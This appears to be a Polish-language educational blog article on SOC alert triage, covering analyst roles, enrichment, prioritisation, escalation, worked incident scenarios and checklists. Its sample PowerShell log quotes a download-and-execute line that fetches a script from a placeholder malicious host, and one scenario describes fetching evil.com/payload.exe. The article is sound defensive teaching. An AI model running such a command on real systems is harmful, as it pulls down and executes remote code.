SOC Alert Triage

Od hałasu do sygnału – logika triage w SOC

Wyobraź sobie, iż jako analityk SOC L1 patrzysz na ekran zalewu alertów: dziesiątki sygnalizacji typu „Email oznaczony jako phishing”, kilka „Podejrzana lokalizacja logowania VPN” i jedno groźnie brzmiące „Wykryto Mimikatz na hoście”. Co teraz? Którym alertem zajmiesz się najpierw i dlaczego? Taka scena to codzienność w Security Operations Center. Tutaj do gry wchodzi triage alertów – proces decydujący o tym, czy potencjalny atak zostanie gwałtownie zauważony, czy zginie w tłumie false positive.

Triage alertów to systematyczny proces klasyfikowania, weryfikowania, priorytetyzowania i przydzielania alertów bezpieczeństwa w SOC. Innymi słowy, jest to pierwsza linia obrony: odsianie istotnych sygnałów od szumu. Alerty spływają z różnych źródeł (SIEM, EDR, IDS/IPS, systemy AD, rozwiązania chmurowe itd.), a każdy z nich reprezentuje potencjalny incydent bezpieczeństwa. Bez adekwatnego triage analitycy traciliby cenny czas na niegroźne zdarzenia, podczas gdy prawdziwe zagrożenia mogłyby pozostać niezauważone. Według NIST SP 800-61 triage (fazę „Detection and Analysis”) należy rozumieć jako nadawanie priorytetów incydentom na podstawie ich ważności lub pilności – tak, aby krytyczne problemy były adresowane bezzwłocznie. Innymi słowy: odbierz alert, oceń go i zdecyduj, co dalej (czy wymaga reakcji od razu, przekazania na wyższy poziom, czy może zamknięcia jako fałszywy alarm).

Krótko mówiąc: Triage alertów pozwala skupić się na tym, co ważne, zamiast tonąć w morzu mało istotnych zdarzeń.

Dlaczego to ma znaczenie?

Brak uporządkowanego triage w SOC skutkuje alert fatigue – przemęczeniem i znużeniem analityków zalewanych setkami sygnałów. Efekty? Spada dokładność, wydłuża się czas reakcji, a ryzyko przeoczenia prawdziwego ataku rośnie. Zespół zaczyna działać wolniej i mniej efektywnie, bo każda błaha wiadomość zabiera uwagę, którą powinno poświęcić się realnym incydentom. Konsekwencje dotyczą nie tylko indywidualnych analityków (wypalenie zawodowe, frustracja), ale całej organizacji. Gdy specjaliści SOC marnują godziny na benigny (fałszywe alarmy), brakuje im czasu i energii na szybką detekcję prawdziwych zagrożeń. To tworzy niebezpieczne luki w zdolnościach zespołu do wykrywania i reagowania na incydenty – przeciwnik może wykorzystać te „ślepe strefy”.

W praktyce, bez skutecznego triage średni czas wykrycia (MTTD) incydentu dramatycznie rośnie. A im dłużej intruz pozostaje niewykryty, tym więcej szkód może wyrządzić. Statystyki pokazują, iż grupa ransomware potrzebuje średnio <24h, by osiągnąć swoje cele w zaatakowanej sieci. To oznacza, iż jeżeli Twój SOC nie odsiewa sprawnie alertów i nie identyfikuje gwałtownie najgroźniejszych, możesz przegapić krytyczne okno czasowe na reakcję. Co gorsza, wiele organizacji walczy z fatalnym sygnałem/szumem – badania SANS Institute sugerują, iż choćby 90% wygenerowanych alertów bezpieczeństwa bywa false positive w słabo dostrojonych środowiskach. Triage jest więc tarczą chroniącą przed zalewem fałszywych alarmów i mieczem umożliwiającym błyskawiczne wychwycenie realnych ataków.

Dlaczego to ważne? Bo bez sprawnego triage Twój zespół SOC działa na oślep, traci cenny czas, a napastnicy zyskują przewagę. Dobre praktyki triage przekładają się na niższe MTTD/MTTR, mniej przemęczony zespół oraz mniejsze ryzyko kosztownego incydentu.

Rola analityków L1 i L2 w triage

Triage alertów to wysiłek zespołowy, ale różne poziomy SOC (L1/L2) odgrywają w nim odmienne role. SOC L1 to frontowe straże – pierwsza linia obrony. Analityk L1 monitoruje napływające alarmy w czasie rzeczywistym, filtruje i obsługuje je na bieżąco. Jego zadanie to gwałtownie sprawdzić alert, odsiać fałszywe pozytywy od prawdziwych incydentów i zadecydować, czy potrzeba dalszych działań. L1 nadaje priorytet, wykonuje wstępne dochodzenie (np. rzut oka w logi powiązane z alertem, podstawowy threat hunting w SIEM) i jeżeli coś wygląda poważnie – eskaluje do L2. W praktyce L1 zamyka prostsze przypadki (np. znane false positive, alerty niskiego ryzyka) i dokumentuje swoje ustalenia, by zespół miał historię zdarzeń.

SOC L2 to specjaliści drugiej linii – dochodzeniowcy i “firefighterzy”. Dostają od L1 tylko te alerty, które zostały uznane za istotne lub podejrzane. Ich rola polega na dogłębnym zbadaniu poważniejszych incydentów: korelują wiele źródeł danych, analizują szczegóły techniczne, potwierdzają czy doszło do naruszenia oraz podejmują działania zaradcze (np. izolacja hosta, zablokowanie konta, mitygacja zagrożenia). L2 często pracuje już w ramach formalnego procesu Incident Response, zgodnie z procedurami (tu z pomocą przychodzi np. NIST SP 800-61 czy wewnętrzne playbooki). Można powiedzieć, iż L1 to wartownik sygnalizujący pożar, a L2 to strażak gaszący ogień i zapobiegający jego rozprzestrzenieniu.

Podsumowanie: Analityk L1 przegląda i filtruje wszystkie alerty, a L2 wchodzi do gry, gdy sytuacja wygląda poważnie – wtedy prowadzi szczegółowe śledztwo i reaguje na incydent.

Proces triage alertów w SOC

Skuteczny triage to ustrukturyzowany workflow. Poniżej omówimy najważniejsze etapy, przez które typowo przechodzi alert od momentu pojawienia się w konsoli SOC do decyzji o eskalacji lub zamknięciu. Całość odpowiada fazie Detection & Analysis z modelu NIST IR oraz pokrywa funkcje Detect i Respond/Analysis (RS.AN) z ram NIST CSF – zapewniając, iż żadne ważne powiadomienie nie zostanie pominięte. Zobaczmy, jak to działa, gdy na przykład do SIEM wpada nowy alert.

1. Ingestion i korelacja zdarzeń

Proces triage zaczyna się już w momencie, gdy platforma SIEM zbiera surowe zdarzenia z całego środowiska. Dane spływają z różnych logów (firewalle, systemy operacyjne, IDS, EDR, itp.) do centralnej analizy. Zadaniem SIEM (lub XDR) jest skorelować powiązane zdarzenia i wygenerować z nich znaczące alerty, które trafią na konsolę analityków. Innymi słowy, system sam redukuje szum: grupuje logi dotyczące tego samego incydentu i odfiltrowuje oczywiste false positive (np. znane testowe skrypty, aktywność administracyjną oznaczoną jako bezpieczna). Dzięki temu analityk nie ogląda milionów pojedynczych wpisów logów dziennie, tylko dziesiątki skondensowanych alertów – każdy już zawiera kontekst i pewną ocenę ważności.

Przykład: System IDS (np. Suricata) wykrył podejrzany ruch sieciowy. Sensor wygenerował zdarzenie z sygnaturą ataku, które następnie SIEM skorelował z innymi informacjami (np. adres IP źródła, docelowy host w sieci, wcześniejsze logowania). W efekcie powstaje pojedynczy alert w SIEM opisujący całą obserwację. Poniżej widać uproszczony JSON z takiego alertu Suricata, wskazujący wykrycie malware typu Infostealer:

{ "event_type": "alert", "src_ip": "10.0.0.1", "dest_ip": "192.168.0.101", "alert": { "signature": "ET MALWARE Infostealer.Banprox Proxy.pac Download", "category": "A Network Trojan was detected", "severity": 1 }, "http": { "hostname": "malicious.example.com", "url": "/malware/payload", "http_user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "status": 200 } }

W powyższym alercie widać podstawowe informacje: adresy źródłowy i docelowy, nazwę wykrytej sygnatury ataku, kategorię („Network Trojan”) i severity. Taki alert trafia do kolejki triage w SOC z odpowiednimi tagami (np. typu zagrożenia). Na tym etapie analityk L1 odbiera alert (często w systemie ticketowym lub konsoli SIEM) i przechodzi do kolejnej fazy.

Sprawdź w logach powiązanych z alertem, czy zdarzenie nie pojawia się wielokrotnie – może to wskazywać na szerszy problem lub powtarzający się false positive. Na przykład, jeżeli alert dotyczy skanowania portów, sprawdź w logach firewalli, czy ten sam adres IP nie atakował wielu hostów.

2. Wstępna walidacja i wzbogacanie kontekstu

Kiedy alert jest już na tapecie analityka L1, pora ocenić, czy alarm rzeczywiście wskazuje na zagrożenie, czy to fałszywy alarm. Ten etap to walidacja. Analityk sprawdza szczegóły: co dokładnie się wydarzyło? który host/użytkownik jest zaangażowany? jakie reguły zadziałały? Często zaczyna od szybkich pytań: „Czy ten ruch/proces wygląda normalnie dla tego hosta?” lub „Czy widzimy inne oznaki ataku w pobliżu czasu zdarzenia?”.

Kluczowym elementem jest tutaj wzbogacanie kontekstu (enrichment) – czyli dołożenie do surowego alertu dodatkowych informacji, które pomogą podjąć decyzję. Źródła wzbogacenia to m.in.:

• Threat Intelligence – np. sprawdzenie adresu IP lub domeny w bazie threat intel (MISP, VirusTotal) pod kątem reputacji. jeżeli IP figuruje na czarnej liście jako adres CNC, alert nabiera powagi.
• Dodatkowe logi systemowe – np. jeżeli alert dotyczy podejrzanego procesu na hoście, L1 może zajrzeć w logi systemu operacyjnego (Windows Event Logs, sysmon) czy EDR dla tego hosta, aby zobaczyć co ten proces robił.
• Korelacja czasowa – czy w tym samym czasie i na tym samym obiekcie (użytkowniku, hoście) zaszły inne zdarzenia? Np. alert o logowaniu z anomalii geolokacyjnej można zweryfikować, sprawdzając, czy zaraz potem nie odnotowano prób podniesienia uprawnień lub masowego odczytu plików.
• Mapowanie do znanych technik – tu przydaje się MITRE ATT&CK. jeżeli alert wskazuje np. na użycie Mimikatz (kradzież kredencjałów), analityk taguje to jako technika MITRE T1003 Credential Dumping w fazie Credential Access. Takie mapowanie pomaga zrozumieć, na jakim etapie kill-chain jesteśmy i jakie inne działania może podjąć atakujący. Automatyczne narzędzia enrichmentu często podpowiadają mapowanie do MITRE ATT&CK oraz pokazują, czy podobne zachowanie było wcześniej obserwowane.

W praktyce L1 korzysta z wielu narzędzi, by wzbogacić alert. Przykładowo, gdy w alercie pojawia się podejrzany adres IP, analityk może uruchomić komendę w stylu:

# Zapytanie do MISP o informacje nt. podejrzanego IP curl -X POST -H "Authorization: <API_KEY>" -H "Content-Type: application/json" \ https://misp.example.com/attributes/restSearch -d '{"value":"198.51.100.23"}'

Komenda taka zwróci informacje z bazy MISP o adresie 198.51.100.23 – np. czy jest powiązany z malware, czy pojawił się w kampaniach phishingowych. Dzięki temu analityk gwałtownie dowiaduje się, z czym ma do czynienia. Podobnie może sprawdzić hash pliku w VirusTotal lub zajrzeć do platformy TIP (Threat Intelligence Platform) po kontekst historyczny.

Jeśli alert dotyczy systemu Windows, L1 może również zerknąć w logi PowerShell (Event ID 4104) czy logi Sysmon, szukając podejrzanych komend. Przykładowy log PowerShell wskazujący użycie kodowania (co często bywa oznaką malware):

EventID 4104: Powershell Script Block Logging User: LAB\\Administrator Message: Executing Base64 encoded command: `Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.example.com/ps')`

Takie informacje z logów systemowych dopełniają obraz sytuacji. Celem walidacji jest ustalenie, czy alert ma podstawy (true positive) czy był wywołany nieszkodliwą aktywnością (false positive). Na tym etapie analityk często aktualizuje status alertu w systemie (np. zmienia status na „Under Investigation”) i dodaje pierwsze notatki.

Wskazówka: jeżeli już na etapie walidacji odkryjesz, iż alert to pomyłka (np. działanie administratora lub znany błąd generujący fałszywy alarm), zaklasyfikuj go jako false positive i zamknij z odpowiednią adnotacją. Dzięki temu zespół nie będzie wracał do niego w przyszłości, a Ty oszczędzisz cenny czas.

3. Priorytetyzacja i klasyfikacja alertu

Gdy analityk L1 zweryfikuje wstępnie alert i zbierze kontekst, kolejnym krokiem jest nadanie priorytetu i klasyfikacja. Nie każdy prawdziwy incydent jest równie groźny – próbę phishingu na koncie testowym potraktujemy inaczej niż ransomware szyfrujący serwer produkcyjny. Dlatego SOC musi ocenić poważność alertu dla biznesu. Pod uwagę bierze się m.in.:

• Severity techniczne – np. skala zagrożenia wg narzędzia (wysoki/średni/niski), rodzaj ataku (czy to malware, czy tylko skanowanie portów).
• Wpływ na infrastrukturę – czy dotyczy krytycznego systemu lub danych wrażliwych? Alert na stacji pracownika HR to co innego niż na kontrolerze domeny.
• Konsekwencje biznesowe – np. potencjalna utrata danych, przestój systemu, naruszenie zgodności z regulacjami.
• Etap ataku – na którym potencjalnie jesteśmy według ATT&CK/kill chain. Wykrycie działania typu Lateral Movement lub Impact może oznaczać, iż atak jest w zaawansowanej fazie – priorytet CRITICAL.
• Wiarygodność alertu – czy mamy jednoznaczne dowody incydentu (np. malware znaleziony na dysku), czy poszlaki (np. anomalia behawioralna)? Im bardziej pewny alert, tym wyższy priorytet.

Na podstawie tych czynników L1 (czasem we współpracy z L2) przypisuje alertowi kategorię i priorytet. Kategoryzacja może odbywać się według wewnętrznej taksonomii lub np. standardu NIST (kategorie incydentów: Unauthorized Access, Malware, DoS etc.). W ramach NIST CSF Respond/Analysis (RS.AN-4) zaleca się kategoryzować incydenty zgodnie z planami reagowania. To ułatwia potem adekwatne akcje. Z kolei ramy MITRE ATT&CK mogą pomóc nazwać techniki użyte przez atak – co bywa użyteczne przy komunikacji i dokumentacji sprawy.

Standaryzacja jest tu kluczem: NIST Cybersecurity Framework dostarcza wskazówek, jak ustanowić ujednolicone kryteria oceny alertów. W praktyce oznacza to np. przygotowanie matrycy priorytetów: jeżeli aktywność spełnia dane kryteria (ważny system + poważna technika ataku + wysoka pewność), dostaje tag High/Critical i od razu idzie wyżej. Dzięki temu zespół ma wspólne rozumienie, co jest pilne.

Krótki przykład: Alert „Wykryto ruch do znanego serwera C2” dla serwera bazy danych produkcyjnej dostanie priorytet Wysoki (bo krytyczny asset + znany malware C2), a np. „Użytkownik wpisał 5 razy złe hasło” może być Niski (możliwy zwykły błąd użytkownika).

Oprócz priorytetu, klasyfikujemy wynik triage: czy alert okazał się Incident (Incydent bezpieczeństwa), czy False Positive, a może Non-Issue (np. działanie zgodne z polityką, choć wyzwoliło alert). Taka klasyfikacja trafia do bazy wiedzy SOC. Wiele platform SIEM/SOAR pozwala oznaczyć alert wprost jako „True Incident” lub „False Positive” – to cenne dane do przyszłego tuningu systemów (np. reguły, które generują masę false positives, powinny być usprawnione).

4. Eskalacja i reakcja (L1 -> L2/Playbook)

Mamy zweryfikowany alert, znamy jego priorytet – czas zdecydować co dalej. jeżeli alert okazał się błahostką lub fałszywym alarmem, L1 może go zamknąć samodzielnie, dokumentując przyczynę (np. „False positive – skan bezpieczeństwa w ramach testów wewnętrznych”). Natomiast jeżeli alert potwierdza incydent lub wymaga głębszej analizy, L1 eskaluje sprawę do L2. Zwykle odbywa się to poprzez system ticketów/incydentów: L1 tworzy lub aktualizuje zgłoszenie incydentowe, przypisując je do zespołu L2 (czy konkretnego inżyniera L2) wraz z zebranymi informacjami. W narzędziach typu TheHive czy JIRA po stronie bezpieczeństwa, L1 może utworzyć case incydentu, dołączając artefakty (logi, wyniki zapytań, kopie ekranu z konsoli, hash pliku itp.).

Na tym etapie do gry mogą wejść playbooki reakcji. jeżeli dla danego typu incydentu istnieje z góry zdefiniowany playbook (procedura krok po kroku), L2 go uruchamia. Coraz częściej organizacje używają platform SOAR do automatyzacji części zadań – np. automatycznie izolują host w sieci przy krytycznym alercie z EDR, czy resetują hasło konta przy wykryciu podejrzanej aktywności na koncie uprzywilejowanym. Zastosowanie playbooka zapewnia, iż reakcja będzie spójna i szybka niezależnie od tego, który analityk dyżuruje.

Przykładowo, dla alertu „Wykryto malware na stacji roboczej”: playbook może przewidywać następujące kroki – 1) potwierdź malware (hash > VirusTotal), 2) odetnij stację (np. komenda izolacji w EDR), 3) wykonaj zrzut pamięci, 4) zainicjuj skan AV na hoście, 5) podnieś incydent do IR team etc. L2 realizuje te kroki i monitoruje efekty.

Automatyzacja (SOAR) potrafi znacznie odciążyć analityków na tym etapie. Narzędzia mogą automatycznie przekazać alerty określonej kategorii do odpowiednich osób oraz wykonać pewne akcje od razu. Na przykład, zbuduj playbook w SOAR, który dla alertu typu phishing email samodzielnie wyciągnie załącznik, prześle go do sandboxa i oznaczy email w skrzynkach użytkowników jako potencjalnie złośliwy – zanim analityk w ogóle spojrzy na alert. Taka automatyzacja sprawia, iż L2 dostaje już wstępnie obsłużony incydent ze wstępną analizą (np. wynik analizy sandbox). Według praktyk, dobrze zaimplementowany SOAR może przyspieszyć triage alertu i obniżyć MTTD choćby o kilkadziesiąt procent, jednocześnie zmniejszając obciążenie analityków.

Na koniec, niezależnie czy incydent obsługuje L2 sam czy przekazuje go dalej (np. do zespołu reagowania kryzysowego), ważne jest domknięcie pętli: dokumentacja wniosków i lekcji. L2 po zakończeniu sprawy powinien uzupełnić raport incydentu: co się stało, jak rozwiązano problem, rekomendacje na przyszłość (np. „dostrajamy regułę IDS, aby zmniejszyć false positive”, albo „wdrażamy dodatkową detekcję, by wychwycić podobne ataki wcześniej”). Te informacje zasilają bazę wiedzy i posłużą do ciągłego doskonalenia procesu (funkcja Respond/Improvements RS.IM z NIST CSF).

Podsumowanie procesu: Alert trafia do SOC, zostaje skorelowany i zrozumiały dla analityka, następnie L1 go weryfikuje i wzbogaca danymi, nadaje mu priorytet i decyduje o losie alertu – zamknąć czy eskalować. L2 zaś przejmuje poważne przypadki, prowadzi głęboką analizę i podejmuje działania naprawcze. Cały ten cykl dzieje się często w ciągu minut lub godzin – wymaga więc klarownych zasad i zgrania zespołu.

Praktyczne przykłady triage

Pora zobaczyć, jak triage wygląda w praktyce na konkretnych przykładach. Prześledzimy dwa scenariusze ilustrujące działania analityka w trakcie triagowania alertu.

Przykład 1: Alert z IDS i korelacja w SIEM

Wyobraźmy sobie alert wygenerowany przez IDS Suricata: wykryto podejrzany plik pobrany z sieci (jak w JSON wcześniej). Alert pojawia się w SIEM z identyfikatorem sygnatury malware. Analityk L1 rozpoczyna triage:

• Walidacja: Sprawdza w SIEM szczegóły alertu – źródłowy IP to nieznany adres spoza firmy, docelowy host to laptop pracownika. Sygnatura wskazuje na malware typu info-stealer. L1 otwiera również logi firewall z tego okresu, aby potwierdzić, iż ruch rzeczywiście przeszedł (np. reguła FW nie zablokowała połączenia).
• Wzbogacenie: L1 kopiuje hash pobranego pliku (jeśli dostępny w alercie) i na gwałtownie wrzuca go na VirusTotal – wynik: 5/57 silników AV wykrywa coś, np. jako variantę znanego malware. Dodatkowo analityk sprawdza domenę malicious.example.com w MISP (brak wpisów, nowa domena) oraz w Whois (domena świeżo zarejestrowana tydzień temu, co jest podejrzane).
• Korelacja: L1 uruchamia w SIEM wyszukiwanie wszystkich logów z danego hosta z ostatnich 2 godzin. Widzi, iż kilka minut po pobraniu pliku system wygenerował zdarzenie z Windows Event Log: uruchomienie powershell.exe z parametrami wskazującymi na możliwe wykonanie skryptu (np. -ExecutionPolicy Bypass -EncodedCommand ...). To silna poszlaka, iż malware rzeczywiście próbował się wykonać na hoście.
• Priorytetyzacja: Mając te dane, analityk ocenia, iż incydent jest poważny – mamy aktywne malware w sieci (host użytkownika), możliwy wyciek danych. Nadaje alertowi status Incydent, priorytet Wysoki.
• Eskalacja: L1 natychmiast eskaluje incydent do SOC L2. W systemie zgłoszeń uzupełnia opis: „Podejrzenie infekcji malware (infostealer) na stacji użytkownika, aktywność Powershell wskazuje na wykonanie payloadu. Wdrożyć działania IR – izolować host, analiza malware.” Dołącza artefakty: log z Powershell, wynik VirusTotal, adres IP atakującego.

Analityk L2 przejmuje sprawę. Postępuje zgodnie z playbookiem malware: zdalnie łączy się do EDR na hoście – izoluje maszynę z sieci (jednym kliknięciem w konsoli EDR), uruchamia skan AV. Równolegle pobiera pamięć RAM do analizy (aby wydobyć ewentualne klucze lub dodatkowe wskaźniki). Po potwierdzeniu infekcji, L2 współpracuje z IT, żeby reimage’ować maszynę lub przynajmniej usunąć malware. Następnie sprawdza, czy inne hosty kontaktowały się z tym samym serwerem malicious.example.com (czy atak się rozprzestrzenił). Dzięki triage, incydent został wychwycony na wczesnym etapie – złośliwy plik został pobrany i odpalony, ale reakcja nastąpiła w ciągu kilkunastu minut, zanim atakujący wyciągnął dane na zewnątrz. L2 finalizuje incydent, sporządza raport i przekazuje rekomendacje: dodać domenę do blokowanych, utworzyć regułę detekcji podobnych zachowań w przyszłości (to feeding back do procesu Detect).

Przykład 2: Alert z EDR i enrichment Threat Intelligence

W drugim scenariuszu EDR (Endpoint Detection & Response) zgłasza alert: „Suspicious Process – PowerShell downloading file” na serwerze w sieci DMZ. Analityk L1 przeprowadza triage takiego zdarzenia:

• Walidacja: Alert EDR zawiera szczegóły procesu: ścieżka C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe uruchomiona przez użytkownika IUSR (konto serwisu IIS) z parametrami pobierającymi plik z http://evil.com/payload.exe. L1 sprawdza, iż na serwerze DMZ działa aplikacja web (co tłumaczy proces PowerShell pod kontem IUSR, ale wykonanie pobrania pliku już jest podejrzane).
• Enrichment: L1 kopiuje URL evil.com/payload.exe i sprawdza reputację domeny evil.com w kilku miejscach. Threat Intelligence (MISP) pokazuje, iż domena jest powiązana z kampanią malware Agent.Tesla z ubiegłego miesiąca. Dodatkowo domena widnieje na liście blokowanych w jednym z feedów. To silny sygnał, iż mamy do czynienia z czymś złym. L1 sprawdza także w SIEM logi proxy/HTTP z tego serwera – potwierdza, iż rzeczywiście pobrano plik .exe.
• Akcja automatyczna: Tutaj organizacja miała skonfigurowaną automatyzację: SOAR otrzymał alert z EDR i automatycznie uruchomił playbook – pobrał hash pliku payload.exe z EDR i wysłał go do sandboxa. Zanim L1 skończy enrichment, wyniki sandbox są już dostępne: plik rozpoznany jako malware Agent.Tesla (keylogger/stealer), zachowuje się złośliwie (próbuje kraść hasła, łączy się do evil.com). SOAR choćby zaktualizował już alert o ten wynik i podniósł jego istotność.
• Priorytet/Eskalacja: Mając te dane, L1 nie ma wątpliwości – incydent krytyczny (serwer został zaatakowany malware z funkcją kradzieży danych). Priorytet Critical, natychmiastowa eskalacja do L2. L1 także korzysta z SOAR, aby wykonać szybkie akcje przed przekazaniem: np. zablokować evil.com na firewallu (jeśli playbook tego nie zrobił) i dodać regułę w EDR blokującą uruchamianie payload.exe na innych hostach.
• Reakcja L2: Analityk L2 dostaje case i widzi, iż wiele już zrobiono automatycznie. Koncentruje się więc na dogłębnym threat hunting – szuka, czy malware nie rozprzestrzenił się dalej (sprawdza inne serwery, ruch sieciowy w okresie incydentu, konta, które mogły zostać skompromitowane). Po analizie stwierdza, iż incydent był odosobniony do tego jednego serwera (luckily). Wspólnie z adminami odtwarza system z kopii zapasowej (pewność pełnego usunięcia backdoora). Dokumentuje incydent. L2 rekomenduje dodatkowo: włączyć więcej logowania na serwerach IIS, przeprowadzić analizę podatności aplikacji web (wektor wejścia).

Te przykłady pokazują, jak w realnych sytuacjach triage łączy analizę logów, wykorzystanie narzędzi TI, automatyzację i współpracę L1/L2, by gwałtownie opanować zagrożenie. Każdy incydent jest inny, ale dyscyplina procesu triage sprawia, iż zespół działa metodycznie choćby pod presją.

Checklisty dla analityków SOC L1 i L2

Na koniec przygotowaliśmy listy kontrolne – szybkie podsumowanie zadań i dobrych praktyk dla analityków na poziomach L1 i L2 podczas triage. Możesz je wykorzystać jako punkt odniesienia we własnym zespole SOC:

Checklist dla L1 (Triage wstępne)

• Monitoruj konsolę alertów (SIEM/EDR) i odbieraj nowe alerty na bieżąco (nie dopuść do zaległości).
• Acknowledge/Przypisz sobie alert w systemie ticketowym, aby było jasne, iż jest w obróbce.
• Sprawdź podstawowe pola alertu: źródło alertu (które narzędzie), zagrożony host/użytkownik, opis i kategorie, severity. Zrozum co się stało według alarmu.
• Zweryfikuj gwałtownie kontekst: zajrzyj w powiązane logi (SIEM query, logi systemowe) w okolicy czasu zdarzenia.
• Wykonaj enrichment:
  • Sprawdź IP/adresy/hashe w Threat Intelligence (MISP, VT, itp.).
  • Zbadaj konto/host w CMDB lub AD – co to za użytkownik, maszyna, czy mają historię incydentów?
  • Mapuj technikę do MITRE ATT&CK, by nadać szerszy kontekst.
• Określ wiarygodność: Czy masz dowody, iż alert to prawdziwy incydent? (np. wielowątkowe logi potwierdzające zło) Czy wygląda na false positive?
• Nadaj priorytet: Oceń powagę – weź pod uwagę krytyczność systemu, typ ataku, skalę. Użyj ustalonych kryteriów SOC.
• Zdecyduj o dalszych krokach:
  • Jeśli false positive lub alert niskiego ryzyka – zamknij ticket jako FP/obsłużony, dodaj notatkę wyjaśniającą.
  • Jeśli potencjalny incydent – eskaluj do L2: utwórz/incydent z pełnym opisem i zebranymi danymi.
• Powiadom w razie potrzeby: Przy krytycznych sprawach, nie czekaj – zadzwoń po L2/managera zgodnie z procedurą (np. nocne zmiany). Czas reakcji ma znaczenie.
• Dokumentuj: Zapisz w ticketcie co zrobiłeś, co ustaliłeś (logi, czasy, TI rezultaty). To pomoże L2 i posłuży do analizy post-mortem.

Checklist dla L2 (Analiza pogłębiona i reakcja)

• Przejmij zgłoszenie od L1 wraz z kontekstem – zapoznaj się z notatkami, artefaktami. Dopytaj L1 jeżeli coś jest niejasne.
• Potwierdź incydent: Na bazie danych od L1 wykonaj dodatkową analizę, by jednoznacznie stwierdzić czy doszło do naruszenia. Np. przejrzyj dodatkowe logi z okresu, wykonaj analizę malware w sandbox, zbierz dowody (PCAP, pamięć, dysk).
• Oszacuj zakres i wpływ: Ustal, które systemy/konta ucierpiały, jak głęboko wszedł atakujący. Czy incydent trwa nadal? Czy to część szerszej kampanii?
• Zastosuj działania natychmiastowe: jeżeli incydent aktywny – podejmij od razu akcje powstrzymujące (containment). Np. izolacja hosta z sieci, blokada konta, zatrzymanie szkodliwego procesu. Sprawdź w logach innych systemów, czy nie widać podobnej aktywności – zapobiegniesz rozlaniu się incydentu.
• Uruchom playbook IR: Postępuj wg procedur dla danego typu incydentu (malware, phishing, DDoS itd.). Współpracuj z odpowiednimi osobami (IT, admini, zespół odpowiedzialny za ciągłość działania).
• Zbieraj dowody: Prowadź forensics, jeżeli wymaga tego sytuacja (dyski, pamięć, artefakty sieciowe). To może dostarczyć dodatkowych IOC do poszukiwania w infrastrukturze.
• Komunikuj się: Informuj kierownictwo/CSIRT zgodnie z polityką eskalacji. jeżeli incydent poważny, potrzebne mogą być komunikaty do interesariuszy (np. dział prawny, PR – w ramach planu reagowania).
• Neutralizuj zagrożenie: Po opanowaniu sytuacji (np. odłączeniu atakujących hostów) zadbaj o pełną eliminację zagrożenia – usuń malware ze wszystkich maszyn, zresetuj kompromitowane hasła, zaimplementuj patche itp. (faza Eradication & Recovery).
• Dokumentuj działania: Pisz na bieżąco w ticket/case co robisz i co ustalasz. To stworzy linię czasu incydentu.
• Przeklasyfikuj incydent: Ostatecznie określ kategorię incydentu (zgodnie z polityką, np. „Malware infection – major”) i zamknij sprawę z odpowiednim podsumowaniem.
• Post-incident review: Zbierz zespół (post-mortem) by wyciągnąć wnioski. Co zadziałało, co zawiodło? Zbuduj playbook lub popraw istniejący, jeżeli incydent ujawnił braki w procedurach. Wprowadź ulepszenia do systemów detekcji (tuning SIEM, nowe reguły w IDS/EDR) na podstawie zdobytych IOC i obserwacji, aby podobny atak następnym razem został wychwycony szybciej lub automatycznie zatrzymany.

Podsumowanie

SOC Alert Triage to fundament skutecznych operacji bezpieczeństwa. Dzięki niemu zespoły SOC przekuwają chaos tysięcy zdarzeń w uporządkowaną listę priorytetów, koncentrując się na prawdziwych zagrożeniach. Dydaktycznie i operacyjnie – triage wymaga zarówno wiedzy (o atakach, systemach, frameworks jak MITRE ATT&CK) jak i dyscypliny procesowej (ramy NIST, procedury CSF). Jak widzieliśmy, dobrze zorganizowany triage wsparty automatyzacją skracza MTTD, zmniejsza obciążenie analityków i podnosi ogólną odporność organizacji na ataki. Najlepsze zespoły ciągle doskonalą ten proces: mierzą czasy reakcji, tunują narzędzia, dodają nowe źródła TI i usprawniają playbooki.

Na koniec, pamiętaj – triage to gra zespołowa. L1 i L2 muszą działać jak dobrze naoliwiona maszyna, dzieląc się informacjami i ufając sobie nawzajem. Dzięki temu choćby najbardziej przebiegły atakujący odbije się od tarczy Twojego SOC. Zastosuj powyższe praktyki w swoim środowisku, a przekonasz się, iż alerty przestaną być przykrym zalewem – staną się wartościowymi wskazówkami, które poprowadzą Cię do szybkiego unieszkodliwienia zagrożeń. Zbuduj playbooki, sprawdzaj logi, korzystaj z automatyzacji – i bądź zawsze o krok przed atakującymi!

Sprawdź teraz w swoim SIEM, ile alertów dziennie obsługuje Twój SOC i zidentyfikuj 5 najczęstszych typów. Czy masz dla nich zoptymalizowane playbooki triage? jeżeli nie – to świetny pierwszy krok, by usprawnić działanie Twojego zespołu. Powodzenia!

Bibliografia